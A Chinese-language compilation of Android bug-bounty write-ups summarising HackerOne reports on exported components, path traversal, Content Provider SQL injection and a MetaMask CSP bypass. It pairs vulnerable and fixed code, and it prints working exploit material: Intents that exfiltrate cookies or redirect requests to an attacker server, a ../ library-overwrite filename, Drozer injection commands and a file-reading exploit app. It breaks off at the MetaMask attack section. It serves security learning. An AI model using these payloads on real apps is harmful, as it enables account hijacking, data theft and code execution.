- 恶意应用执行上述代码,构造包含目标文件路径和攻击者服务器URL的
- 恶意应用通过
startService(intent)调用Quora应用的UploadService。
- 恶意应用通过
- Quora应用的
UploadService接收到Intent,解析参数,读取指定路径/data/data/com.quora.android/app_webview/Cookies的文件内容。
- Quora应用的
UploadService将该敏感文件内容上传到攻击者指定的服务器http://google.com/zaheck。
- 攻击者在服务器上接收并解析上传的文件,获取用户的敏感信息(如会话Cookie),从而实现账户劫持。
该漏洞利用了Android组件间通信(IPC)机制,通过暴露的Service绕过了Android的文件权限保护机制(沙箱)。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android组件(如Service、Activity、Broadcast Receiver、Content Provider)被设置为android:exported="true",且对外部传入的参数缺乏严格的校验,特别是涉及文件操作的路径参数。
易漏洞代码模式:
- Service/Activity/Receiver 暴露且未校验输入:
当组件在AndroidManifest.xml中配置为exported="true"时,任何应用都可以调用它。如果该组件接收一个Intent,并使用Intent中的数据进行敏感操作(如文件读写、网络请求),而没有对数据进行安全检查,就会导致漏洞。 示例(AndroidManifest.xml):<!-- 错误配置:exported="true" 且未设置权限 --> <service android:enabled="true" android:exported="true" android:name="com.example.app.UnsafeFileService"/>
- Service/Activity/Receiver 暴露且未校验输入:
- 在暴露组件中直接使用外部传入的文件路径:
在暴露的组件(如本例中的UploadService)的代码中,直接使用从Intent中获取的字符串作为文件路径,而没有限制其只能访问公共目录或特定文件。 示例(Java/Kotlin 代码):// 假设这是暴露的Service中的处理逻辑 public int onStartCommand(Intent intent, int flags, int startId) { // ... String filePath = intent.getStringExtra("file_to_upload");// 错误:直接使用外部传入的路径来访问文件 File file = new File(filePath); // ... 执行文件读取和上传操作 // ...}
- 在暴露组件中直接使用外部传入的文件路径:
安全修复模式:
- 限制组件暴露: 除非绝对必要,否则应将组件的
android:exported属性设置为false。如果必须暴露,应通过android:permission属性设置严格的权限,确保只有具备特定权限的应用才能调用。 示例(修复后的AndroidManifest.xml):<!-- 修复:将exported设置为false,或添加权限限制 --> <service android:enabled="true" android:exported="false" android:name="com.example.app.SafeFileService"/>
- 限制组件暴露: 除非绝对必要,否则应将组件的
- 严格校验文件路径: 如果组件必须处理外部传入的文件路径,应确保路径是安全的。例如,只允许访问应用沙箱内的特定子目录,或使用
Context.getFileStreamPath()等方法来确保路径的合法性。 示例(Java/Kotlin 代码):// 假设这是修复后的Service中的处理逻辑 public int onStartCommand(Intent intent, int flags, int startId) { // ... String fileName = intent.getStringExtra("file_to_upload");// 修复:使用应用内部方法获取文件,限制访问范围 File file = getFileStreamPath(fileName); // ... 执行文件读取和上传操作 // ...}
- 严格校验文件路径: 如果组件必须处理外部传入的文件路径,应确保路径是安全的。例如,只允许访问应用沙箱内的特定子目录,或使用
Android组件未授权访问与权限重委托
案例:Odnoklassniki Android应用 (报告: https://hackerone.com/reports/97295)
挖掘手法
该漏洞报告描述了三种相关的漏洞,核心挖掘思路是针对Android应用中未受保护的导出组件(exported components)进行分析和利用。
1. Intent Spoofing(意图欺骗)/组件劫持:
- 分析思路: 攻击者首先分析目标应用(Odnoklassniki)的
AndroidManifest.xml文件,寻找设置为android:exported="true"的组件(如Activity、Service、BroadcastReceiver),特别是那些没有设置权限保护的组件。
- 分析思路: 攻击者首先分析目标应用(Odnoklassniki)的
- 关键发现点: 发现
ru.ok.android.ui.activity.StartVideoUploadActivity等Activity被导出且未受权限保护。
- 关键发现点: 发现
- 挖掘步骤: 构造一个显式Intent,使用
setClassName方法指定目标应用的包名(ru.ok.android)和目标组件的完整类名(ru.ok.android.ui.activity.StartVideoUploadActivity),然后从攻击者自己的应用中调用startActivity(Intent)来启动它。这使得恶意应用可以在用户不知情或未授权的情况下,触发目标应用内的敏感操作(如视频上传流程)。
- 挖掘步骤: 构造一个显式Intent,使用
2. Fake Notifications(伪造通知)/广播劫持:
- 分析思路: 针对应用内部用于接收通知的
BroadcastReceiver组件进行分析,寻找同样被导出且未受权限保护的组件。
- 分析思路: 针对应用内部用于接收通知的
- 关键发现点: 发现
ok.ru.android.services.app.NotifyReceiver组件被导出,并且其处理的Action(ru.ok.android.action.NOTIFY)可以被外部应用发送。
- 关键发现点: 发现
- 挖掘步骤: 构造一个隐式Intent,设置Action为
ru.ok.android.action.NOTIFY,并在Intent中填充通知所需的额外数据(如key、message、dsc_id等)。通过调用sendBroadcast(Intent),恶意应用可以伪造来自Odnoklassniki的通知,欺骗用户或冒充其他用户发送虚假消息。
- 挖掘步骤: 构造一个隐式Intent,设置Action为
3. Privilege Redelegation(权限重委托):
- 分析思路: 这是最严重的问题,攻击者深入分析了应用内部的业务逻辑代码,寻找可以被外部Intent控制的关键参数,特别是那些可能导致应用执行敏感操作(如网络请求)的参数。
- 关键发现点: 发现
ru.ok.android.videochat.VideochatController.java中的网络请求逻辑,其目标URL中的this.server变量直接来源于Intent的Extra参数,且未经过充分验证。
- 关键发现点: 发现
- 挖掘步骤: 构造一个Intent(同样利用了
ru.ok.android.action.NOTIFY广播),在其中通过putExtra("server", "myserver.com:1234")设置攻击者控制的服务器地址。当Odnoklassniki应用处理这个Intent并触发网络请求时,它会使用自己的INTERNET权限向攻击者的服务器发送包含敏感信息的HTTP请求,从而绕过了Android的安全机制,将目标应用的权限“重委托”给了恶意应用。
- 挖掘步骤: 构造一个Intent(同样利用了
总结: 核心挖掘手法是静态分析目标应用的AndroidManifest.xml和逆向工程关键代码逻辑,寻找未受保护的导出组件和可被外部控制的敏感参数,然后构造恶意的Intent进行攻击。
技术细节
该报告描述了三种漏洞,以下是权限重委托(Privilege Redelegation)和意图欺骗(Intent Spoofing)的利用技术细节:
1. 权限重委托(Privilege Redelegation)利用细节:
此漏洞利用了应用内部网络请求逻辑中对Intent参数的信任。攻击者通过Intent将自定义的服务器地址注入到应用的网络请求中,导致应用使用其自身的INTERNET权限向攻击者服务器发送数据。
- 受影响代码片段(概念性):
// ru.ok.android.videochat.VideochatController.java (概念性代码) // this.server 变量的值来源于外部 Intent localHttpMethod = new RestApiMethodBuilder(localServiceStateHolder, HttpMethodType.GET) .setTargetUrl(new URI("http://" + this.server + "/")) // 攻击者控制的URL .addRelativePath("api-get-signal", true) .addSignedParam("uid", localServiceStateHolder.getUserId(), false) // 敏感信息 // ... 其他敏感参数 .build();
- 受影响代码片段(概念性):
- 攻击者构造的恶意Intent(Payload):
恶意应用通过发送一个包含server参数的广播来触发漏洞。java Intent m = new Intent(); m.setAction("ru.ok.android.action.NOTIFY"); m.putExtra("key", "vchat"); m.putExtra("cid", "c60b0e06695a4ce896261247b43f772b"); m.putExtra("caller_name", "Fake User"); m.putExtra("server", "myserver.com:1234"); // 注入攻击者服务器地址 getActivity().sendBroadcast(m);
攻击流程: 恶意应用发送此Intent -> Odnoklassniki应用接收并处理广播 -> 触发VideochatController中的网络请求逻辑 -> 应用使用自身权限向myserver.com:1234发送包含用户ID等敏感参数的HTTP请求。
- 攻击者构造的恶意Intent(Payload):
2. 意图欺骗(Intent Spoofing)利用细节:
此漏洞利用了StartVideoUploadActivity组件的导出状态,允许外部应用直接启动它。
- 攻击者构造的恶意Intent(Payload):
恶意应用通过显式Intent直接启动目标Activity。java Intent m = new Intent(); // 显式指定目标应用的包名和组件类名 m.setClassName("ru.ok.android", "ru.ok.android.ui.activity.StartVideoUploadActivity"); startActivity(m);
攻击流程: 恶意应用调用startActivity(m)-> 目标Activity被启动 -> 用户被诱骗或在不知情的情况下执行了视频上传等操作。
- 攻击者构造的恶意Intent(Payload):
3. 伪造通知(Fake Notifications)利用细节:
此漏洞利用了NotifyReceiver组件的导出状态,允许外部应用发送伪造的通知广播。
- 攻击者构造的恶意Intent(Payload):
恶意应用通过隐式Intent发送通知广播。java Intent u = new Intent(); u.setAction("ru.ok.android.action.NOTIFY"); u.putExtra("key", "d-147298617"); u.putExtra("message", "Hello there! This is a fake message. You have been tricked."); // 伪造的消息内容 u.putExtra("dsc_id", "612470493988:USER_PHOTO"); getActivity().sendBroadcast(u);
攻击流程: 恶意应用发送此广播 -> Odnoklassniki应用接收并处理广播 -> 应用显示一个看起来像来自官方的通知或消息,欺骗用户。
- 攻击者构造的恶意Intent(Payload):
易出现漏洞的代码模式
此类漏洞的核心在于Android组件的未受保护导出(Unprotected Exported Components)和对外部输入(Intent Extras)的信任不足。
1. 未受保护的组件导出模式:
当应用开发者在AndroidManifest.xml中将组件(Activity, Service, BroadcastReceiver)设置为android:exported="true",但未对其进行适当的权限保护时,就会出现此问题。
- 易受攻击的配置示例:
<activity android:name="ru.ok.android.ui.activity.StartVideoUploadActivity" android:exported="true" /> <!-- 缺少权限保护 --> <receiver android:name="ok.ru.android.services.app.NotifyReceiver" android:exported="true"> <!-- 缺少权限保护 --> <intent-filter> <action android:name="ru.ok.android.action.NOTIFY" /> </intent-filter> </receiver>
- 易受攻击的配置示例:
- 安全修复模式(推荐):
- 默认关闭导出: 除非绝对必要,否则应显式设置
android:exported="false"(Android 12及以上版本默认为false)。
- 默认关闭导出: 除非绝对必要,否则应显式设置
- 权限保护: 如果必须导出,则应使用
android:permission属性来限制只有拥有特定权限的应用才能与之交互。xml <activity android:name="ru.ok.android.ui.activity.StartVideoUploadActivity" android:exported="true" android:permission="com.ok.android.permission.INTERNAL_ACCESS" />
- 权限保护: 如果必须导出,则应使用
- 安全修复模式(推荐):
2. 权限重委托的代码模式:
当应用内部的关键功能(如网络请求、文件操作)依赖于从外部Intent中获取的参数(如URL、文件名)时,且未对这些参数进行严格的验证和过滤,可能导致权限重委托。
- 易受攻击的代码示例(概念性):
// 假设 Intent intent 是从外部接收的 String serverUrl = intent.getStringExtra("server"); // 直接从外部获取敏感参数 if (serverUrl != null) { // 未经验证,直接拼接到内部网络请求中 URL url = new URL("http://" + serverUrl + "/api/data"); // 应用使用自身的 INTERNET 权限发起请求 makeHttpRequest(url); }
- 易受攻击的代码示例(概念性):
- 安全修复模式(推荐):
- 参数白名单/严格校验: 对所有来自外部Intent的参数进行严格的白名单校验或正则匹配,确保其符合预期的格式和范围。
- 避免敏感操作依赖外部参数: 关键的安全敏感操作(如网络请求到非预定域名)不应依赖于外部Intent传递的参数。如果必须依赖,应在应用内部硬编码或从安全配置中加载目标地址。
- 安全修复模式(推荐):
Android路径遍历导致远程代码执行
案例:Evernote for Android (报告: https://hackerone.com/reports/1416969)
挖掘手法
该漏洞的挖掘过程首先从深入分析目标应用(Evernote for Android)的核心功能入手,特别是文件处理和用户交互的部分。研究人员重点关注了笔记共享和附件管理功能。在测试过程中,研究人员发现附件重命名功能存在安全缺陷,未能有效过滤或限制文件名中的特殊字符。攻击者可以利用这一点,在重命名附件时插入路径遍历序列(../)。
通过对应用文件结构的分析,研究人员确定了一个可写的、且应用会加载原生库(.so文件)的敏感目录 (/data/data/com.evernote/lib-1/)。攻击思路是,通过路径遍历漏洞,将一个恶意的原生库文件写入该目录,覆盖应用原有的合法库文件。
具体操作上,研究人员首先创建了一个恶意的.so文件,并将其命名为应用会加载的合法库文件名(libjnigraphics.so)。然后,将这个恶意文件作为附件上传到一条笔记中。接着,利用附件重命名功能中的路径遍历漏洞,将附件名修改为类似 ../../../../../lib-1/libjnigraphics.so 的路径。最后,将这条包含恶意附件的笔记分享给受害者。
当受害者打开这条笔记并点击该附件时,应用在下载附件时,会使用这个被篡改过的、包含路径遍历序列的文件名。由于应用没有对文件名进行充分的过滤和净化,导致恶意文件被写入了应用私有的原生库目录,并覆盖了同名的合法文件。当应用下一次加载这个被覆盖的库文件时,恶意的代码就会被执行,从而实现远程代码执行。整个过程利用了文件名处理不当和文件系统权限配置的弱点,通过两次点击(打开笔记、点击附件)即可触发,是一种高效且隐蔽的攻击方式。
技术细节
该漏洞利用的核心在于Android应用未能正确处理来自Content-Disposition响应头的filename字段,导致了路径遍历攻击。攻击者通过构造一个恶意的filename,可以实现在应用的私有目录中写入任意文件,最终导致远程代码执行。
攻击流程:
- 准备Payload: 攻击者创建一个恶意的共享对象文件(
.so),例如malicious.so,其中包含希望在目标设备上执行的代码。然后将其上传到自己的笔记附件中。
- 准备Payload: 攻击者创建一个恶意的共享对象文件(
- 构造恶意文件名: 攻击者利用附件重命名功能,将附件的文件名修改为一个包含路径遍历序列的字符串。这个字符串的目标是跳出应用默认的附件下载目录,指向应用存放原生库的目录。Payload示例如下:
../../../../../lib-1/libjnigraphics.so
这里的../序列用于向上层目录跳转,最终将文件写入/data/data/com.evernote/lib-1/目录下,并命名为libjnigraphics.so,覆盖应用原有的同名库文件。
- 构造恶意文件名: 攻击者利用附件重命名功能,将附件的文件名修改为一个包含路径遍历序列的字符串。这个字符串的目标是跳出应用默认的附件下载目录,指向应用存放原生库的目录。Payload示例如下:
- 分享与触发: 攻击者将包含此恶意附件的笔记分享给受害者。当受害者在Evernote Android应用中打开这条笔记并点击该附件时,应用会下载该附件。由于
filename未被净化,应用会将文件保存在上述恶意路径下。
- 分享与触发: 攻击者将包含此恶意附件的笔记分享给受害者。当受害者在Evernote Android应用中打开这条笔记并点击该附件时,应用会下载该附件。由于
- 代码执行: 当应用重新启动或在特定操作中需要加载
libjnigraphics.so这个原生库时,它会加载被攻击者覆盖的恶意版本,从而执行其中的恶意代码,实现远程代码执行(RCE)。
- 代码执行: 当应用重新启动或在特定操作中需要加载
关键代码问题:
报告指出,该应用的下载逻辑是用React Native编写的,其源代码被编译成了Hermes字节码,导致难以直接分析和定位存在漏洞的具体代码。然而,问题的根源很明确:应用从HTTP响应的Content-Disposition头中提取filename,并直接将其用于构建本地文件保存路径,而没有对其中可能包含的路径遍历字符(如../)进行过滤或验证。
易出现漏洞的代码模式
在Android应用开发中,此类路径遍历漏洞通常发生在处理外部输入(尤其是文件名和路径)而未进行充分验证和清理的地方。特别是在使用Content-Disposition头来获取文件名时,极易引入此漏洞。
易受攻击的代码模式示例 (Java/Kotlin):
一个典型的易受攻击场景是从HTTP响应中获取文件名并直接用于文件操作:
// 易受攻击的代码示例
String disposition = connection.getHeaderField("Content-Disposition");
String fileName = "";
if (disposition != null) {
String[] parts = disposition.split(";");
for (String part : parts) {
if (part.trim().startsWith("filename=")) {
fileName = part.substring(part.indexOf('=') + 1).trim().replace("\"", "");
// 问题所在:直接使用从header中获取的fileName,未经过滤
}
}
}
if (!fileName.isEmpty()) {
// 目标路径可能被操控
File outputFile = new File(context.getFilesDir().getPath() + "/downloads/" + fileName);
// 写入文件操作,如果fileName为"../../bad/file",则会发生路径遍历
FileOutputStream fos = new FileOutputStream(outputFile);
// ... 写入文件流
}安全的编码实践:
为了防止此类漏洞,开发者应该对从外部获取的任何文件名进行严格的验证和净化,确保它不包含任何路径遍历字符。
// 更安全的代码示例
String disposition = connection.getHeaderField("Content-Disposition");
String fileName = "";
// ... (代码同上,获取fileName)
if (!fileName.isEmpty()) {
// 安全措施:验证并清理文件名
File tempFile = new File(fileName);
String sanitizedFileName = tempFile.getName(); // 只获取文件名部分,去除路径信息
// 确保文件名不包含任何路径分隔符
if (sanitizedFileName.contains("/") || sanitizedFileName.contains("\\")) {
// 处理恶意文件名,例如抛出异常或使用默认安全名称
throw new SecurityException("Invalid filename");
}
File safeDir = new File(context.getFilesDir().getPath() + "/downloads/");
if (!safeDir.exists()) {
safeDir.mkdirs();
}
File outputFile = new File(safeDir, sanitizedFileName);
FileOutputStream fos = new FileOutputStream(outputFile);
// ... 写入文件流
}通过使用new File(fileName).getName()可以有效剥离路径信息,只保留文件名本身,从而阻止路径遍历攻击。此外,再次检查sanitizedFileName中是否包含路径分隔符可以作为额外的保险措施。
Content Provider SQL 注入
案例:Nextcloud Android App (报告: https://hackerone.com/reports/291764)
挖掘手法
本次漏洞挖掘主要依赖于Android安全测试框架 Drozer,其核心思路是识别并测试应用中导出的(exported)Content Provider是否存在SQL注入漏洞。
详细步骤如下:
- 目标应用识别与信息收集: 确定目标应用为Nextcloud Android App,其包名为
com.nextcloud.client。
- 目标应用识别与信息收集: 确定目标应用为Nextcloud Android App,其包名为
- Content Provider扫描: 使用Drozer的
scanner.provider.injection模块对目标应用进行自动化扫描,以发现所有导出的Content Provider URI,并初步测试其对注入的敏感性。bash dz> run scanner.provider.injection -a com.nextcloud.client
- Content Provider扫描: 使用Drozer的
- 发现潜在目标: 扫描结果列出了应用中注册的多个Content Provider URI。通过人工分析或进一步测试,研究人员锁定了
content://org.nextcloud/这个URI,判断其可能处理敏感数据且缺乏输入校验。
- 发现潜在目标: 扫描结果列出了应用中注册的多个Content Provider URI。通过人工分析或进一步测试,研究人员锁定了
- 注入点验证: 利用Drozer的
app.provider.query模块,针对目标URI的查询参数进行手动注入测试。Content Provider的query方法接收projection、selection和sortOrder等参数,这些参数常被用于直接构造SQL查询语句。研究人员选择在projection参数中注入一个不完整的SQL片段(例如一个双引号"),以期触发数据库解析错误。bash dz> run app.provider.query content://org.nextcloud/ --projection """
在Drozer中,"""被解析为一个双引号",用于闭合或破坏原始SQL语句的结构。
- 注入点验证: 利用Drozer的
- 漏洞确认: 当执行上述命令后,应用返回了包含SQLITE错误的堆栈信息,错误信息中明确显示了注入的字符被拼接到
SELECT语句中,导致语法错误,从而确认了Content Provider的projection参数存在SQL注入漏洞。
- 漏洞确认: 当执行上述命令后,应用返回了包含SQLITE错误的堆栈信息,错误信息中明确显示了注入的字符被拼接到
整个过程体现了从自动化扫描到手动精确验证的典型Android应用漏洞挖掘流程,重点在于利用Drozer工具对Content Provider这一Android特有的组件进行深入的安全测试。
技术细节
该漏洞的技术核心在于Nextcloud Android App中某个Content Provider(URI为content://org.nextcloud/)的query()方法在处理projection参数时,未能对外部输入进行充分的转义或白名单校验,导致攻击者可以通过注入恶意SQL片段来控制查询的结构。
攻击命令与Payload:
攻击者使用Drozer工具,通过--projection参数注入一个双引号(在shell中转义为"""):
dz> run app.provider.query content://org.nextcloud/ --projection """数据库错误信息(证明注入成功):
执行上述命令后,应用抛出SQLite异常,返回的错误信息揭示了后端SQL语句的构造方式:
unrecognized token: "" FROM filelist ORDER BY filename collate nocase asc" (code 1):, while compiling: SELECT'FROM filelist ORDER BY filename collate nocase asc分析该错误信息可知,原始的SQL查询语句被构造为:SELECT '注入内容' FROM filelist ORDER BY filename collate nocase asc
其中,'注入内容'部分被攻击者注入的"所破坏,导致SQL引擎无法识别后续的FROM关键字,从而确认了projection参数直接参与了SQL语句的拼接。攻击者可以利用此特性,通过构造更复杂的Payload来执行任意SQL查询,如提取敏感数据或绕过权限控制。
易出现漏洞的代码模式
此类SQL注入漏洞是Android Content Provider实现中的常见缺陷,主要发生在开发者直接将query()方法接收的参数(尤其是projection和sortOrder)拼接到原始SQL语句中,而不是使用安全的参数化查询机制。
易受攻击的代码模式 (Java/Kotlin):
当Content Provider的query方法实现中,使用projection参数来构建SELECT子句时,如果直接拼接字符串,就会引入SQL注入风险。
// 危险操作:Content Provider的query方法实现片段
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
// ... URI匹配逻辑 ...
// 危险操作:直接将 projection 数组中的元素用逗号连接后拼接到 SQL 语句中
// 攻击者可以控制 projection 数组中的元素,注入恶意 SQL
String columns = (projection != null && projection.length > 0) ? TextUtils.join(",", projection) : "*";
// 极易受攻击的 rawQuery 示例
String sql = "SELECT " + columns + " FROM " + TABLE_NAME +
(selection != null ? " WHERE " + selection : "") +
(sortOrder != null ? " ORDER BY " + sortOrder : "");
// 这里的 selectionArgs 只能用于 WHERE 子句中的 ? 占位符,对 projection 和 sortOrder 无效
return db.rawQuery(sql, selectionArgs);
}安全修复和推荐模式:
为防止此类漏洞,开发者应使用 SQLiteQueryBuilder 并配合 Projection Map 进行列名白名单校验,确保只有预期的列名才能被用于查询。
// 安全操作:使用 SQLiteQueryBuilder 和 setProjectionMap
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
// ...
SQLiteQueryBuilder queryBuilder = new SQLiteQueryBuilder();
queryBuilder.setTables(TABLE_NAME);
// 关键:使用 setProjectionMap 确保只有预期的列名才能被使用
HashMap<String, String> projectionMap = new HashMap<>();
projectionMap.put(COLUMN_ID, COLUMN_ID);
projectionMap.put(COLUMN_NAME, COLUMN_NAME);
// ... 添加所有允许的列 ...
queryBuilder.setProjectionMap(projectionMap);
// selection 和 selectionArgs 配合使用,selectionArgs 会自动处理转义
return queryBuilder.query(db, projection, selection, selectionArgs, null, null, sortOrder);
}Content Provider 路径遍历 (任意文件读取)
案例:Google Android System Component (报告: https://hackerone.com/reports/1416948)
挖掘手法
针对Android应用中的Content Provider进行路径遍历漏洞挖掘,主要步骤如下:
1. 目标识别与信息收集 (Target Identification and Information Gathering)
首先,使用apktool或Jadx等工具对目标Android应用的APK文件进行反编译,重点分析AndroidManifest.xml文件。
- 搜索所有被标记为
android:exported="true"的<provider>组件。这些组件允许其他应用访问,是攻击的首要目标。
- 搜索所有被标记为
- 识别这些
Content Provider的android:authorities属性,这是构建访问URI的关键。
- 识别这些
- 检查是否存在自定义的
ContentProvider实现,特别是那些重写了openFile、query或getType方法的类。
- 检查是否存在自定义的
2. 静态分析 (Static Analysis)
- 重点审查自定义
ContentProvider类中openFile方法的实现。该方法负责处理文件URI请求并返回文件描述符。
- 重点审查自定义
- 寻找以下危险代码模式:
- 直接或间接将URI路径段(如
uri.getPathSegments()或uri.getLastPathSegment())拼接成文件路径,而没有进行严格的路径规范化和验证。
- 直接或间接将URI路径段(如
- 使用
File类的构造函数或Uri.getPath()来获取路径,然后直接传递给文件操作API。
- 使用
- 寻找以下危险代码模式:
- 目标是找到一个可以被外部应用访问,并且在处理文件路径时容易受到
../(上级目录)序列注入的Content Provider。
- 目标是找到一个可以被外部应用访问,并且在处理文件路径时容易受到
3. 动态测试与PoC构造 (Dynamic Testing and PoC Construction)
- 基于静态分析的结果,构造一个恶意的
Uri,利用../序列尝试逃逸出应用预期的文件访问目录,例如:content://[provider_authority]/files/../../../../../../etc/hosts
- 基于静态分析的结果,构造一个恶意的
- 编写一个简单的恶意Android应用(PoC),使用
ContentResolver尝试访问这个恶意Uri。
- 编写一个简单的恶意Android应用(PoC),使用
- 关键的PoC代码将使用
ContentResolver.openInputStream(malicious_uri)或ContentResolver.query(malicious_uri, ...)来尝试读取目标文件,例如:/etc/hosts、/data/data/[target_package]/shared_prefs/下的配置文件,或应用的数据库文件。
- 关键的PoC代码将使用
- 观察应用日志(Logcat)和PoC应用的输出,确认是否成功读取了目标应用私有目录或系统文件中的敏感信息。
4. 关键发现点
- 发现一个导出的
Content Provider,其openFile方法使用了Uri中的用户可控路径,但未能正确使用File.getCanonicalPath()或进行其他路径规范化检查,从而允许路径遍历。
- 发现一个导出的
- 成功构造URI,读取了目标应用私有目录下的敏感文件,如用户Token、会话信息或数据库文件。
通过这种系统性的“反编译 -> 静态分析 -> 恶意URI构造 -> 动态验证”流程,可以高效地发现Android应用中Content Provider的路径遍历漏洞。
技术细节
该漏洞利用的核心在于构造一个恶意的Uri,通过Content Provider的openFile方法中的路径遍历缺陷,实现任意文件读取。
1. 恶意URI构造 (Malicious URI Construction)
假设目标应用的Content Provider的authority为com.target.app.provider,且其文件访问路径为/files/。攻击者构造的恶意URI将包含../序列,以逃逸出应用预期的沙箱目录:
// 尝试读取系统敏感文件 /etc/hosts
String targetFile = "/etc/hosts";
// 构造路径遍历序列,假设需要6个 '../' 才能逃逸到根目录
String maliciousPath = "files/../../../../../../" + targetFile.substring(1);
Uri maliciousUri = Uri.parse("content://com.target.app.provider/" + maliciousPath);2. 漏洞利用代码 (Exploitation Code)
攻击者在自己的恶意应用中,使用以下代码尝试读取目标文件:
// 恶意应用中的代码片段
try {
// 1. 构造恶意URI
String targetFile = "/etc/hosts";
String maliciousPath = "files/../../../../../../" + targetFile.substring(1);
Uri maliciousUri = Uri.parse("content://com.target.app.provider/" + maliciousPath);
// 2. 使用ContentResolver打开输入流
InputStream is = getContentResolver().openInputStream(maliciousUri);
if (is != null) {
// 3. 读取文件内容
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
StringBuilder fileContent = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
fileContent.append(line).append('\n');
}
reader.close();
is.close();
// 成功读取敏感文件内容
Log.d("Exploit", "File content: " + fileContent.toString());
} else {
Log.e("Exploit", "Failed to open input stream.");
}
} catch (Exception e) {
Log.e("Exploit", "Exploit failed: " + e.getMessage());
}3. 漏洞原理(Vulnerable Code Snippet)
在目标应用的Content Provider中,如果openFile方法存在以下类似逻辑,则可能存在漏洞:
// 目标应用 ContentProvider.java (VULNERABLE)
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
// 危险操作:直接使用URI路径段拼接路径,未进行规范化检查
String path = uri.getPath();
File file = new File(BASE_DIR, path); // BASE_DIR 是应用的私有目录
// 如果 path 包含 ../,File 构造函数会处理它,但 openFile 仍然会尝试打开
// 逃逸后的路径,例如 /data/data/com.target.app/files/../../../../../../etc/hosts
// 最终解析为 /etc/hosts
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
}易出现漏洞的代码模式
此类漏洞通常出现在Android应用的Content Provider组件中,特别是当该组件被设置为exported="true"(允许其他应用访问)时,并且在处理文件URI时未能正确验证路径。
1. 危险的Manifest配置 (Vulnerable Manifest Configuration)
在AndroidManifest.xml中,将Content Provider设置为可导出,且未添加权限保护:
<provider
android:name=".FileProvider"
android:authorities="com.example.app.provider"
android:exported="true"
android:grantUriPermissions="true" /> <!-- exported=true 允许外部应用访问 -->2. 危险的Java代码模式 (Vulnerable Java Code Pattern)
在自定义的ContentProvider实现中,openFile方法未能对传入的Uri路径进行规范化处理,直接或间接将其用于文件路径构造:
// 易受攻击的 ContentProvider.java 片段
public class FileProvider extends ContentProvider {
private static final String BASE_DIR = "/data/data/com.example.app/files";
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
// 1. 获取URI路径
String path = uri.getPath();
// 2. 直接拼接路径,未进行路径规范化或安全检查
File file = new File(BASE_DIR, path);
// 3. 危险:如果 path 包含 "../",则可能逃逸出 BASE_DIR
// 例如:path = "/files/../../../../../../etc/hosts"
// 正确的做法是使用 file.getCanonicalFile() 进行规范化和检查,但此处缺失
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
}
// ... 其他方法
}3. 修复后的安全代码模式 (Secure Code Pattern)
正确的做法是使用File.getCanonicalFile()来解析路径中的../序列,并检查最终的规范化路径是否仍然位于预期的安全目录内,以防止路径逃逸:
// 安全的 ContentProvider.java 片段
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String path = uri.getPath();
File file = new File(BASE_DIR, path);
try {
// 关键修复:获取文件的规范化路径
String canonicalPath = file.getCanonicalPath();
// 检查规范化路径是否以预期的安全目录开头
if (!canonicalPath.startsWith(BASE_DIR)) {
// 如果路径逃逸,则抛出异常
throw new SecurityException("Attempted path traversal: " + canonicalPath);
}
// 只有在安全检查通过后才打开文件
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
} catch (IOException e) {
throw new FileNotFoundException("File not found or access denied: " + e.getMessage());
}
}Content-Security-Policy绕过(XSS)
案例:MetaMask Mobile (Android) (报告: https://hackerone.com/reports/1941767)
挖掘手法
该漏洞的发现和挖掘主要基于对MetaMask Android应用内置浏览器安全机制的逆向测试和验证。
分析思路与关键发现点:
- 初始发现: 报告者在测试一个具有严格内容安全策略(CSP)的网站时,发现原本在标准浏览器中会被CSP阻止的跨站脚本(XSS)Payload,在MetaMask Android内置浏览器中却成功执行。这一现象直接指向了MetaMask浏览器在处理CSP头部时存在缺陷。
- 假设验证: 报告者假设MetaMask浏览器可能忽略了网页设置的
Content-Security-PolicyHTTP头部。
- 假设验证: 报告者假设MetaMask浏览器可能忽略了网页设置的
- 构造测试页面(
cspmeta.php): 报告者首先创建了一个测试页面,该页面通过HTML<meta>标签设置了CSP:<meta http-equiv="Content-Security-Policy" content="script-src 'none'">,并包含一个简单的JavaScript弹窗代码alert('Javascript is executed.')。- 测试结果: 在标准浏览器(如Chrome)和MetaMask浏览器中,JavaScript都被阻止执行,表明MetaMask浏览器支持
<meta>标签中的CSP。
- 测试结果: 在标准浏览器(如Chrome)和MetaMask浏览器中,JavaScript都被阻止执行,表明MetaMask浏览器支持
- 构造测试页面(
- 构造测试页面(
cspheader.php): 接着,报告者创建了第二个测试页面,该页面通过PHPheader()函数设置了HTTP响应头部CSP:header("Content-Security-Policy: script-src 'none'");,同样包含JavaScript弹窗代码。- 测试结果: 在标准浏览器中,JavaScript被阻止执行。但在MetaMask浏览器中,JavaScript成功执行并弹窗。
- 构造测试页面(
- 结论确立: 通过对比实验,报告者确认了MetaMask Android内置浏览器忽略了通过HTTP响应头部设置的
Content-Security-Policy,但接受<meta>标签设置的CSP。这是漏洞的核心所在。
- 结论确立: 通过对比实验,报告者确认了MetaMask Android内置浏览器忽略了通过HTTP响应头部设置的
- 影响验证: 为了证明漏洞的严重性,报告者创建了第三个页面(
web3attack.php),该页面同样设置了被忽略的HTTP头部CSP,但其JavaScript代码是恶意的Web3脚本,用于自动发起ETH转账交易。- 最终验证: 在MetaMask浏览器中访问该页面,恶意脚本成功执行,并尝试发起转出钱包内所有ETH的交易,证明了该漏洞可以直接导致资产损失的严重后果。
- 影响验证: 为了证明漏洞的严重性,报告者创建了第三个页面(
整个挖掘过程是典型的控制变量法,通过设计两个对比实验(<meta>标签CSP vs. HTTP头部CSP)精确地定位了MetaMask浏览器对特定安全机制的实现缺陷。
技术细节
漏洞利用的关键在于绕过MetaMask浏览器对HTTP响应头部Content-Security-Policy的忽略,从而在受CSP保护的网页上执行恶意JavaScript。
攻击流程与Payload:
